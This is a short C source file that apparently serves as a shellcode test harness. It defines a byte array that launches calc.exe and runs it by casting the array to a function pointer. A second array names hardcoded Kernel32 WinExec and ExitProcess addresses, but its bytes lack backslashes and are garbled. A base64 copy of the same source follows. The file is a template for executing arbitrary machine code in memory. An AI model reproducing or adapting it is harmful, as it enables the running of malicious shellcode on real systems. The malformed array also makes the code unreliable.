#include <stdio.h>
char code[] = "\xEB\x10\x58\x6A\x05\x50\xE8\x1B\x00\x00\x00\x6A\x00\xE8\x0E\x00"
"\x00\x00\xE8\xEB\xFF\xFF\xFF\x63\x61\x6C\x63\x2E\x65\x78\x65\x00";
char sh[] =
"x31xc0x50x68x63"
"x61x6cx63x89xe3"
"x50x53xbb"
"xfdx29x86x7c" /*Kernel32.dll.WinExec*/
"xffxd3x50xbb"
"xfaxcax81x7c" /*Kernel32.dll.ExitProcess*/
"xffxd3";
int main(int argc, char *argv[])
{
//((void(*)())code)();
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
I2luY2x1ZGUgPHN0ZGlvLmg+CgpjaGFyIGNvZGVbXSA9CSJceEVCXHgxMFx4NThceDZBXHgwNVx4NTBceEU4XHgxQlx4MDBceDAwXHgwMFx4NkFceDAwXHhFOFx4MEVceDAwIgoJCQkJIlx4MDBceDAwXHhFOFx4RUJceEZGXHhGRlx4RkZceDYzXHg2MVx4NkNceDYzXHgyRVx4NjVceDc4XHg2NVx4MDAiOwoKY2hhciBzaFtdID0KIngzMXhjMHg1MHg2OHg2MyIKIng2MXg2Y3g2M3g4OXhlMyIKIng1MHg1M3hiYiIKInhmZHgyOXg4Nng3YyIgLypLZXJuZWwzMi5kbGwuV2luRXhlYyovCiJ4ZmZ4ZDN4NTB4YmIiCiJ4ZmF4Y2F4ODF4N2MiIC8qS2VybmVsMzIuZGxsLkV4aXRQcm9jZXNzKi8KInhmZnhkMyI7CgoKaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkKewoJLy8oKHZvaWQoKikoKSljb2RlKSgpOwoKCWludCAoKmZ1bmMpKCk7CglmdW5jID0gKGludCAoKikoKSkgY29kZTsKCShpbnQpKCpmdW5jKSgpOwp9